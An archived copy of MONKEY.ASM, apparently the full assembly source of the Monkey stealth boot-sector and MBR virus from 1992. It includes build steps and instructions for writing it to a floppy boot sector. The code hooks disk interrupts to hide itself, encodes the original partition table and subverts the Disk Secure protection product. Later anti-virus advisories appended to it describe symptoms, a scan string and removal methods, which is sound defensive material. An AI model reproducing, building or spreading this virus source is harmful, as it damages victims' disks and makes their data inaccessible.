home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MONKEY.ASM < prev    next >
Assembly Source File  |  1996-01-25  |  22KB  |  692 lines

  1.  
  2.        page    70,80
  3.        Name    Monkey
  4.  
  5. ;*******************************************************
  6. ;
  7. ;      Monkey written at the city of champions
  8. ;       - Edmonton - by UACVRS - Jan 1992.
  9. ;
  10. ;     Monkey is a full stealth MBR/Boot self-replicating program with
  11. ;     no payload but it does not save the HD's partition
  12. ;     table in place. When the "infected" computer is booted
  13. ;     from a floppy, c: drive will no longer be accessible.
  14. ;
  15. ;     To compile: masm monkey     (we used MASM 5.0)
  16. ;                 link monkey
  17. ;                 exe2bin monkey.exe monkey.co
  18. ;     Use NU, or debug to copy monkey.co to the boot
  19. ;        sector of a floppy. The diskette will not boot
  20. ;        but will install itself on the hard drive.
  21. ;
  22. ;     Bug: It will trash any floppies higher than
  23. ;          1.44meg, not deliberately.
  24. ;
  25. ;*******************************************************
  26.  
  27. Code   Segment
  28.        Assume  CS:Code,DS:CODE,ES:CODE
  29.        ORG     00H
  30.  
  31. MAIN:
  32.        JMP     INITIAL
  33.  
  34. ; space above 1fh is for floppy format data
  35.  
  36.        ORG     1FH
  37. INT_13     EQU     THIS BYTE
  38.  
  39.           PUSH    DS
  40.           PUSH    SI
  41.           PUSH    DI
  42.           PUSH    AX
  43.           PUSH    CX
  44.           PUSH    DX
  45.  
  46.           CALL    SET_HEAD
  47.  
  48.           CMP     AH,02H
  49.           JNZ     END_ACTION
  50.  
  51.           PUSH    DX
  52.           SUB     AX,AX
  53.           INT     1AH
  54.  
  55. TIME      EQU $ + 2
  56.           CMP     DL,40H
  57.           POP     DX
  58.           JNB     END_ACTION
  59.  
  60.           CALL HANDLE_DISK
  61.  
  62. END_ACTION:
  63.           POP   DX
  64.           POP   CX
  65.           POP   AX
  66.           POP   DI
  67.  
  68.           PUSH  DX
  69.           PUSH  CX
  70.           PUSH  AX
  71.  
  72.           CMP   CX,03H                 ; YES, IS SECTOR LESS THAN 3?
  73.           JNB   EXIT_2                 ; NO, EXIT
  74.  
  75.           CMP   DH,BYTE PTR DS:[SI]    ; Right head?
  76.           JNZ   EXIT_2                 ; NO, EXIT
  77.  
  78.           CMP   AH,02H                 ; READ ?
  79.           JZ    STEALTH                ; YES, STEALTH
  80.  
  81.           CMP   AH,03H                 ; WRITE ?
  82.           JNZ   EXIT_2                 ; NO, EXIT
  83.                                        ; YES!
  84.           CMP   DL,80H                 ; HARD DRIVE?
  85.           JB    EXIT_2                 ; NO, EXIT
  86.  
  87.           SUB   AH,AH            ; else RESET DISK - make HD light blink
  88.           JMP   SHORT EXIT_2           ; EXIT
  89. STEALTH:
  90.           CALL  INT13                  ; READ
  91.           JB    EXIT_3                 ; ERROR?
  92.  
  93.           CALL  COMP_SIG               ; MY RELATIVE?
  94.           JZ    REDIRECT               ; YES, REDIRECT
  95.  
  96.           CALL  COMP_PA                ; NO, IS IT PA?
  97.           JZ    REDIRECT               ; YES, REDIRECT
  98.  
  99. EXIT_0:
  100.           CLC                          ; NO, RESET FLAG
  101.           JMP   SHORT EXIT_3           ; EXIT
  102.  
  103. REDIRECT:
  104.  
  105.           CALL  CHSEC        ; CALC. THE SECTOR TO HIDE & PUT IN CL
  106.  
  107.           MOV   DH,BYTE PTR DS:[SI+1]  ; SET RIGHT HEAD
  108.  
  109.           POP   AX                     ; RESTORE AX
  110.           CALL  INT13                  ; RE-READ
  111.           CALL  ENCRPT_PBR
  112.           POP   CX                     ; RESTORE CX, DX
  113.           POP   DX
  114.           JMP   SHORT EXIT_4           ; EXIT
  115. EXIT_2:
  116.           CALL  INT13
  117. EXIT_3:
  118.           POP   DS
  119.           POP   DS
  120.           POP   DS
  121. EXIT_4:
  122.           POP   SI
  123.           POP   DS
  124.           RETF  0002H
  125.  
  126. READ_SEC_1:
  127.           MOV   AX,0201H         ; READ
  128. INT13 PROC NEAR
  129.           PUSHF
  130.           CALL  DWORD PTR CS:INT13_ADDR     ;***********
  131.           RET
  132. INT13 ENDP
  133.  
  134. HOOK_ENTRY   EQU  THIS BYTE
  135. HOOK:
  136.           INT   12H
  137.           MOV   SI,004CH
  138.           PUSH  SI
  139.           CMP   BYTE PTR CS:HOME_SEC,02H       ; I am in sector 2?
  140.           JZ    SETUP_SPECIAL
  141.  
  142. SETUP_NORMAL:
  143.  
  144.           CALL  SHIFT_NORMAL
  145.  
  146.           MOV   DI,OFFSET INT13_ADDR
  147.           MOV   CX,0002H
  148.           CLD
  149.           REPZ  MOVSW
  150.  
  151.           JMP   SHORT STORE_SEGMENT
  152.  
  153. SETUP_SPECIAL:
  154.  
  155.           CALL  SHIFT_SPECIAL
  156.  
  157. STORE_SEGMENT:
  158.           POP   SI
  159.           MOV   WORD PTR DS:[SI],OFFSET INT_13  ; STORE MY ENTRY POINT
  160.           MOV   DS:[SI+2],AX            ; STORE MY SEGMENT
  161.  
  162. PATCH_OVER:
  163.  
  164.           PUSH  CS
  165.           POP   DS
  166.           CALL  PATCH           ; PATCH OVER
  167.           PUSH  ES              ; PUSH SEGMENT
  168.           MOV   AX,OFFSET JMP_ADDR
  169.           PUSH  AX              ; PUSH ADDRESS
  170.           STI
  171.           RETF                 ; FAR JMP
  172.  
  173.     JMP_ADDR   EQU THIS BYTE
  174. BOOT:
  175.           MOV   ES,CX
  176.           MOV   BX,SP            ; TO 0000:7C00
  177.           PUSH  CX              ; SAVE JMP SEGMENT
  178.           PUSH  BX
  179.  
  180.           MOV   DX,0080H         ; HANDLE C:
  181.           CALL  SET_HEAD
  182.           CALL  HANDLE_DISK
  183.  
  184. BOOT_SEC  EQU $ + 1
  185.           MOV   CL,05H           ; FROM SECTOR 3   ????
  186.  
  187. BOOT_DISK  EQU $ + 1
  188.           MOV   DX,0100H         ; C:, HEAD 0      ????
  189.  
  190.           CALL  READ_SEC_1      ; INT 13
  191.  
  192.           CALL  ENCRPT_PBR
  193.  
  194.           RETF
  195.  
  196. HANDLE_DISK PROC NEAR
  197.  
  198.           ; *** READ SECTOR 1 ***
  199.           SUB   CX,CX
  200.           INC   CX
  201.           PUSH  CX
  202.  
  203.           MOV   DH,[SI]          ; HEAD
  204.           CALL  READ_SEC_1      ; INT 13
  205.           JB    END_HANDLE_DISK          ; ERROR -> END
  206.  
  207.           ; *** COMPARE ***
  208.           CALL  COMP_SIG
  209.           JZ    E_2                      ; SAME -> UPDATE MYSELF
  210.  
  211.           ; *** PA?  ***
  212.           CALL  COMP_PA                  ; Is it Pagett's disksec?
  213.           JNZ   UPDATE_DISK              ; NO
  214.  
  215.           ; *** OK?  ***
  216.           INC   CX
  217.           CMP   WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set
  218.                                           ; to 0 means disksec would not do
  219.                                           ; checksum of partitions - Pagett
  220.                                           ; sucks
  221.           JZ    E_2                       ; SAME -> UPDATE MYSELF
  222.  
  223.           MOV   WORD PTR ES:[BX+1FAH],00H ; set this to zero
  224.           MOV   CL,1H                     ; write the change back to sector 1
  225.           CALL  WRITE_SEC_1               ;
  226.           JB    END_HANDLE_DISK
  227.  
  228.           ; *** YES! READ SECTOR 2  ***
  229.           INC   CX              ; yes,Pagette 's disksecure is on sector 1
  230.           MOV   DH,[SI+2]       ; My relative is on sector 2 - read sector 2
  231.           CALL  READ_SEC_1      ; INT 13
  232.           JB    END_HANDLE_DISK ; ERROR -> END
  233.           POP   AX
  234.           PUSH  CX
  235.  
  236. UPDATE_DISK:
  237.           CALL  CHSEC        ; CALC. THE SECTOR TO HIDE & PUT IN CL
  238.           CALL  ENCRPT_PBR
  239.           INC   SI
  240.           CALL  WRITE_SEC_1
  241.           DEC   SI
  242.           JB    END_HANDLE_DISK
  243.  
  244.           CALL  ENCRPT_PBR
  245.           PUSH  CX
  246.           CALL  PATCH
  247.           POP   CX
  248.  
  249.           PUSH  DX
  250.           CMP   DL,80H
  251.           JNB   E_1
  252.           XOR   DL,DL
  253. E_1:
  254.           MOV   WORD PTR ES:[BX+BOOT_DISK],DX
  255.           POP   DX
  256.           MOV   BYTE PTR ES:[BX+BOOT_SEC],CL
  257.           POP   CX
  258.           PUSH  CX
  259.           MOV   BYTE PTR ES:[BX+OFFSET HOME_SEC],CL
  260.           MOV   WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H
  261.  
  262. E_2:
  263.           CALL  WRITE_SEC_1
  264.  
  265. END_HANDLE_DISK:
  266.           POP   AX
  267.           RET
  268.  
  269. HANDLE_DISK ENDP
  270.  
  271. WRITE_SEC_1 PROC NEAR
  272.           MOV  DH,[SI]
  273. WRITE_SEC_2:
  274.           MOV  AX,0301H
  275.           CALL INT13
  276.           RET
  277. WRITE_SEC_1 ENDP
  278.  
  279. COMP_SIG PROC NEAR
  280.    CMP     ES:[BX+OFFSET PROG_SIG],9219H
  281.    RET
  282. COMP_SIG   ENDP
  283.  
  284. COMP_PA PROC NEAR
  285.    CMP   WORD PTR ES:[BX+119H],6150H   ; PA?
  286.    RET
  287. COMP_PA    ENDP
  288.  
  289. HOME_SEC    DB     01H
  290.  
  291. FLOPPY_HEAD DB     00H,01H,01H
  292. HARD_HEAD   DB     00H,00H,00H
  293.  
  294.                   ;  360 720 1.2 1.44
  295. FLOP_SECT_TABLE   DB  02H,05H,09H,0BH
  296. SAVE_SECT_TABLE   DB  03H,05H,0EH,0EH
  297.  
  298. CHSEC PROC NEAR
  299.    PUSH    DI
  300.    PUSH    SI
  301.    MOV     AL,ES:[BX+14H]
  302.    MOV     CX,0004H
  303. CHSEC_1:
  304.    MOV     SI,CX
  305.    DEC     SI
  306.    CMP     FLOP_SECT_TABLE[SI],AL
  307.    JZ      CHSEC_END_1
  308.    LOOP    CHSEC_1
  309.    MOV     CL,03H
  310.    JMP     SHORT CHSEC_END_2
  311. CHSEC_END_1:
  312.    MOV     CL,SAVE_SECT_TABLE[SI]
  313. CHSEC_END_2:
  314.    POP     SI
  315.    POP     DI
  316.    RET
  317. CHSEC      ENDP
  318.  
  319. SHIFT_NORMAL PROC NEAR
  320.  ; FIND THE SEGMENT TO HIDE
  321.     DEC    AX
  322.     MOV    DS:[413H],AX
  323.  
  324. SHIFT_SPECIAL:
  325.     MOV    CL,06H
  326.     SHL    AX,CL
  327.     ADD    AL,20H
  328.     MOV    ES,AX
  329.     RET
  330. SHIFT_NORMAL     ENDP
  331.  
  332. PATCH PROC NEAR         ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13
  333.     PUSH  SI
  334.     MOV   DI,BX
  335.     MOV   SI,OFFSET INT_13
  336.     ADD   DI,SI
  337. ;   CLD
  338.     MOV   CX,OFFSET PROG_END - OFFSET INT_13
  339.     REPZ  MOVSB
  340.  
  341. PATCH_JMP:
  342.     MOV   DI,BX
  343.  
  344.     SUB   SI,SI
  345.     MOV   CL,3H
  346.     REPZ  MOVSB
  347.  
  348.     POP   SI
  349.     RET
  350. PATCH     ENDP
  351.  
  352. SET_HEAD PROC NEAR
  353.     PUSH  CS
  354.     POP   DS
  355.  
  356.     MOV   SI,OFFSET FLOPPY_HEAD
  357.     CMP   DL,80H
  358.     JB    SET_HEAD_EXIT
  359.     MOV   SI,OFFSET HARD_HEAD
  360. SET_HEAD_EXIT:
  361.     RET
  362. SET_HEAD  ENDP
  363.  
  364. INITIAL:
  365.       CLI
  366.       SUB   BX,BX
  367.       MOV   DS,BX
  368.       MOV   SS,BX
  369.       MOV   SP,7C00H
  370.       JMP   HOOK
  371.       NOP
  372.       NOP
  373.  
  374. ENCRPT_PBR:
  375.       PUSH    DI
  376.       PUSH    CX
  377.       PUSH    AX
  378.  
  379.       MOV     DI,BX
  380.       MOV     CX,200H
  381.  
  382.       CLD
  383. ENCRPT_1:
  384.       MOV     AL,ES:[DI]
  385. ENCRPT_CODE   EQU $ + 0001H
  386.       XOR     AL,2EH
  387.       STOSB
  388.       LOOP    ENCRPT_1
  389.  
  390.       POP     AX
  391.       POP     CX
  392.       POP     DI
  393.       RET
  394.  
  395.  
  396.              ORG 01F4H
  397. ;PROG_NAME   DB     "Monkey"
  398. PROG_NAME   DB     6dh,8fh,8eh,8bh,85h,99h
  399.  
  400.              ORG 01FAH
  401. PROG_SIG    DB     19H,92H
  402.  
  403. PROG_END    EQU   THIS BYTE
  404.  
  405.             ORG 01FCH
  406. INT13_ADDR  DB     00H,00H
  407.  
  408.             ORG 01FEH
  409. BOOT_SIG    DB     55H,0AAH
  410. PROG_TAIL   EQU   THIS BYTE
  411.  
  412. PROG_LEN    EQU   OFFSET PROG_END - OFFSET INT_13
  413.  
  414.  
  415. CODE      ENDS
  416.       END MAIN
  417.  
  418. ; from U of A
  419. NEW COMPUTER VIRUS THREAT                   Posted: July 9, 1992
  420.  
  421. MONKEY VIRUSES ON PCs
  422.  
  423. The Monkey viruses are main boot record/boot sector infectors,
  424. derived from the Empire D virus. Two variants of the Monkey virus
  425. have been identified. Of particular concern is the fact these
  426. viruses can infect computers protected by the Disk Secure program,
  427. while causing no noticeable changes. Symptoms of infection for
  428. those computers without Disk Secure include memory reduction and
  429. hard drive partitions which are not accessible when booting up
  430. with a floppy disk. When the viruses are active on computers
  431. without Disk Secure, total memory will be reduced by 1,024 bytes.
  432.  
  433. Monkey viruses destroy partition table data. If an infected system
  434. is booted up from a clean boot disk, DOS claims to be unable to
  435. access the hard drive partitions. A DIR C: command will return the
  436. message, "Invalid drive specification."
  437.  
  438. Detection
  439.  
  440. The simplest method of detection involves recognizing a 1K
  441. decrease in memory. The DOS commands CHKDSK and MEM will return 1K
  442. less "total conventional memory" than is normal.
  443.  
  444. Of the popular virus scanning products, only F-PROT version 2.04A
  445. finds the Monkey viruses, calling them a "New variant of Stoned."
  446. It will identify the virus in memory as well. The F-PROT Virstop
  447. driver does not recognize the Monkey viruses on boot-up.
  448.  
  449. Disk Secure version 1.15a (ds115a.zip) has a version of the CHKSEC
  450. program that will notice the presence of the Monkey viruses. Note
  451. that Disk Secure itself will not detect the infection: it is
  452. important that the CHKSEC command be called from the autoexec.bat
  453. file.
  454.  
  455. As well, a special program to find and remove the Monkey viruses,
  456. called KILLMONK, has been written at the University of Alberta.
  457.  
  458. Removal
  459.  
  460. To clean a hard disk: If you have previously saved a copy of the
  461. clean main boot record (MBR), then this can be restored. (Many
  462. anti-virus products have an automated way of doing this.) If you
  463. don't have a copy of the original MBR, and don't know what values
  464. your partition table should have, then the KILLMONK program will
  465. restore the partition table for you.
  466.  
  467. To restore diskettes: Use the KILLMONK program.
  468.  
  469. The newest version of F-PROT (version 2.04A) and the KILLMONK
  470. program, are both available, free of charge, from Computing and
  471. Network Services. Bring a formatted diskette to the Microcomputer
  472. Demonstration Centre (MDC), in the basement of the Bookstore, or a
  473. ready-made diskette can be purchased for $2.00 from the CNS User
  474. Support Centre at 302 General Services Building. These programs
  475. can also be downloaded from the MTS account VIR.
  476.  
  477. ;From: martin@cs.ualberta.ca (Tim Martin; FSO; Soil Sciences)
  478. Subject: WARNING - new viruses, Monkey.1 and Monkey.2 (PC)
  479. Date: 20 Jul 92 09:10:09 GMT
  480.  
  481. Virus Name:  MONKEY.1, MONKEY.2  (Empire variants)
  482. V Status:    New
  483. Discovery:   February, 1992
  484. Symptoms:    Memory reduction, hard drive partitions not accessible on
  485.              floppy bootup.
  486. Origin:      Alberta, Canada
  487. Eff. Length: 512 bytes
  488. Type Code:   BPRtS (Boot and Partition table infector - Resident TOM -
  489.              Stealth)
  490. Detection:   CHKDSK, F-PROT 2.04, CHKSEC from Disk Secure 1.15, KILLMONK
  491. Removal:     Cold boot from clean, write-protected floppy, replace MBR
  492. (hard
  493.              disk) or Boot Sector (floppy).
  494.  
  495. General Comments:
  496. The Monkey viruses are Main Boot Record / Boot Sector infectors,
  497. derived from the Empire D virus.  Two variants of the Monkey virus
  498. have been identified: their most obvious difference is in the initial
  499. bytes at offset 0:
  500. Monkey.1:    E9 CD 01      (JMP 02D0)
  501. Monkey.2:    EB 1E 90      (JMP 0020 ; NOP)
  502.  
  503. Both variants keep the original sector's data at offset 03h - 1fh.  In
  504. boot sectors, this region contains data required to identify the
  505. diskette format.  This solves the problem noticed with earlier
  506. variants of Empire, whereby infected 720k diskettes were sometimes
  507. unreadable.
  508.  
  509. The Monkey viruses take 1k from the top of memory.  When active, total
  510. memory will be reduced by 1024 bytes.
  511.  
  512. The Monkey viruses use stealth to protect both the MBR and diskette
  513. boot sectors.  When active in memory, Int 13h calls cannot access the
  514. infected sector of either hard disks or floppies.
  515.  
  516. The Monkey viruses are not polimorphic.  They do not encode any of the
  517. virus, as was done by some of the earlier Empire variants.  But before
  518. saving the clean MBR or boot sector to a hiding place, the Monkey
  519. viruses do encode that sector, using an "XOR 2Eh".  This creates a
  520. problem for any disinfecting program that recover the initial boot
  521. sector or MBR by copying it from the hiding place.
  522.  
  523. When a hard disk is infected, the encoded MBR is put at side 0,
  524. cylinder 0, sector 3.
  525.  
  526. When a floppy diskette is infected, the original boot sector is placed
  527. in the bottom sector of the root directory.  This means directory
  528. entries will be lost only if the root directory is nearly full -- more
  529. than 96 entries on double density diskettes, or more than 208 entries
  530. on high density diskettes.  The virus is designed to identify only the
  531. four most common diskette formats.  If the diskette is not of a
  532. recognized format, the boot sector is put on side 1, sector 3.  I have
  533. no idea what would happen to a 2.88Mb diskette, but I suspect the
  534. virus would damage the File Allocation Table, causing loss of data.
  535.  
  536. The Monkey viruses do not put any messages to the screen at any time,
  537. but the virus code does contain, encrypted, the string "Monkey",
  538. followed by bytes 1992h.  It may be significant that the chinese Year
  539. of the Monkey began in February 1992.
  540.  
  541. The most remarkable characteristic of the Monkey viruses is that they
  542. were designed as an attack on Padgett Peterson's "Disk Secure"
  543. product.  When a computer is booted from an infected diskette, the
  544. virus first checks whether Disk Secure is on the hard disk.  If it is,
  545. the virus puts itself in sector 2, rather than sector 1, and slightly
  546. modifies Disk Secure, so that Disk Secure will load the virus after
  547. Disk Secure has checked the system and loaded itself.  The monkey
  548. viruses install themselves and above Disk Secure, in memory, at offset
  549. 200h.
  550.  
  551. The Monkey viruses do not save the partition table data in place, so
  552. if an infected system is booted from a clean boot disk, DOS claims to
  553. be unable to access the hard drive partitions.  A DIR C: command will
  554. return "Invalid drive specification".
  555.  
  556. Detection:
  557. Of the popular virus scanning products, only F-PROT 2.04 finds the
  558. Monkey viruses, calling them a "New variant of stoned".  It will
  559. identify the virus in memory as well.  The F-PROT Virstop driver does
  560. not recognise the Monkey viruses, on boot-up.
  561.  
  562. Disk Secure v. 1.15a (ds115a.zip) has a version of CHKSEC that will
  563. notice the presence of the Monkey viruses.  Notice that Disk Secure
  564. itself will not detect the infection: it is important that the CHKSEC
  565. command be called from the autoexec.bat file.
  566.  
  567. The simplest detection still involves recognizing a 1k decrease in
  568. memory.  CHKDSK and MEM will return 1k less "total conventional
  569. memory" than normal.
  570.  
  571. A special program to find and remove the Monkey viruses, called
  572. KILLMONK, has been written at the University of Alberta.  I hope to
  573. make this available to the anti-virus community shortly.
  574.  
  575. Removal:
  576. The undocumented /MBR option of FDISK does remove the Monkey virus
  577. from the MBR, provided the computer was booted from a clean floppy,
  578. but it does not restore the correct partition table values.  The
  579. problem is that the partition table is not in place in sector one: the
  580. table is encoded, in sector 3.
  581.  
  582. To clean a hard disk: If you have previously saved a copy of the clean
  583. MBR, then this can be restored.  (Many anti-virus products have an
  584. automated way of doing this.)  If you don't have a copy of the
  585. original MBR, and don't know what values your partition table should
  586. have, then the KILLMONK program may be what you need.
  587.  
  588. To restore diskettes: Padgett Peterson's FIXFBR works very well,
  589. though it doesn't recognize that the disk is infected.  Another
  590. alternative is the KILLMONK program.
  591.  
  592. Scan String:
  593. The following hexidecimal string is in both variants of Monkey.  It is
  594. from the code the virus uses to recognize itself.
  595.    26 81 bf fa 01 19 92 c3 26 81 bf 19 01 50 61
  596.  
  597. Tim
  598.  
  599.   ;   From F-PROT
  600.  
  601.  Name: Monkey
  602.  Type: Boot  MBR  Stealth
  603.  
  604.  The Monkey virus was first discovered in Edmonton, Canada, in the
  605.  year 1991. The virus spread quickly to USA, Australia and UK.
  606.  Monkey is one of the most common boot sector viruses.
  607.  
  608.  As the name indicates, Monkey is a distant relative of Stoned.
  609.  Its technical properties make it quite a remarkable virus,
  610.  however. The virus infects the Master Boot Records of hard disks
  611.  and the DOS boot records of diskettes, just like Stoned. Monkey
  612.  spreads only through diskettes.
  613.  
  614.  Monkey does not let the original partition table remain in its
  615.  proper place in the Master Boot Record, as Stoned does. Instead
  616.  it moves the whole Master Boot Record to the hard disk's third
  617.  sector, and replaces it with its own code. The hard disk is
  618.  inaccesible after a diskette boot, since the operating system
  619.  cannot find valid partition data in the Master Boot Record -
  620.  attempts to use the hard disk result in the DOS error message
  621.  "Invalid drive specification".
  622.  
  623.  When the computer is booted from the hard disk, the virus is
  624.  executed first, and the hard disk can thereafter be used
  625.  normally. The virus is not, therefore, easily noticeable, unless
  626.  the computer is booted from a diskette.
  627.  
  628.  The fact that Monkey encrypts the Master Boot Record besides
  629.  relocating it on the disk makes the virus still more difficult to
  630.  remove. The changes to the Master Boot Record cannot be detected
  631.  while the virus is active, since it rerouts the BIOS-level disk
  632.  calls through its own code. Upon inspection, the hard disk seems
  633.  to be in its original shape.
  634.  
  635.  The relocation and encryption of the partition table render two
  636.  often-used disinfection procedures unviable. One of these is the
  637.  MS-DOS command FDISK /MBR, capable of removing most viruses that
  638.  infect Master Boot Records. The other is using a disk editor to
  639.  restore the Master Boot Record back on the zero track. Although
  640.  both of these procedures destroy the actual virus code, the
  641.  computer cannot be booted from the hard disk afterwards.
  642.  
  643.  There are five different ways to remove the Monkey
  644.  virus:
  645.  o       The original Master Boot Record and partition table can
  646.          be restored from a backup taken before the infection.
  647.          Such a backup can be made by using, for example, the
  648.          MIRROR /PARTN command of MS-DOS 5.
  649.  
  650.  o       The hard disk can be repartitioned by using the FDISK
  651.          program, after which the logical disks must be formatted.
  652.          All data on the hard disk will consequently be lost,
  653.          however.
  654.  
  655.  o       The virus code can be overwritten by using FDISK/MBR, and
  656.          the partition table restored manually. In this case, the
  657.          partition values of the hard disk must be calculated and
  658.          inserted in the partition table with the help of a disk
  659.          editor. The method requires expert knowledge of the disk
  660.          structure, and its success is doubtful.
  661.  
  662.  o       It is possible to exploit Monkey's stealth capabilities
  663.          by taking a copy of the zero track while the virus is
  664.          active. Since the virus hides the changes it has made,
  665.          this copy will actually contain the original Master Boot
  666.          Record. This method is not recommendable, because the
  667.          diskettes used in the copying may well get infected.
  668.  
  669.  o       The original zero track can be located, decrypted and
  670.          moved back to its proper place. As a result, the hard
  671.          disk is restored to its exact original state. F-PROT uses
  672.          this method to disinfect the Monkey virus.
  673.  
  674.  It is difficult to spot the virus, since it does not activate in
  675.  any way.  A one-kilobyte reduction in DOS memory is the only
  676.  obvious sign of its presence. The memory can be checked with, for
  677.  instance, DOS's CHKDSK and MEM programs. However, even if MEM
  678.  reports that the computer has 639 kilobytes of basic memory
  679.  instead of the more common 640 kilobytes, it does not necessarily
  680.  mean that the computer is infected. In many computers, the BIOS
  681.  allocates one kilobyte of basic memory for its own use.
  682.  
  683.  The Monkey virus is quite compatible with different diskette
  684.  types. It carries a table containing data for the most common
  685.  diskettes. Using this table, the virus is able to move a
  686.  diskette's original boot record and a part of its own code to a
  687.  safe area on the diskette. Monkey does not recognize 2.88
  688.  megabyte ED diskettes, however, and partly overwrites their File
  689.  Allocation Tables.
  690.  
  691.  
  692.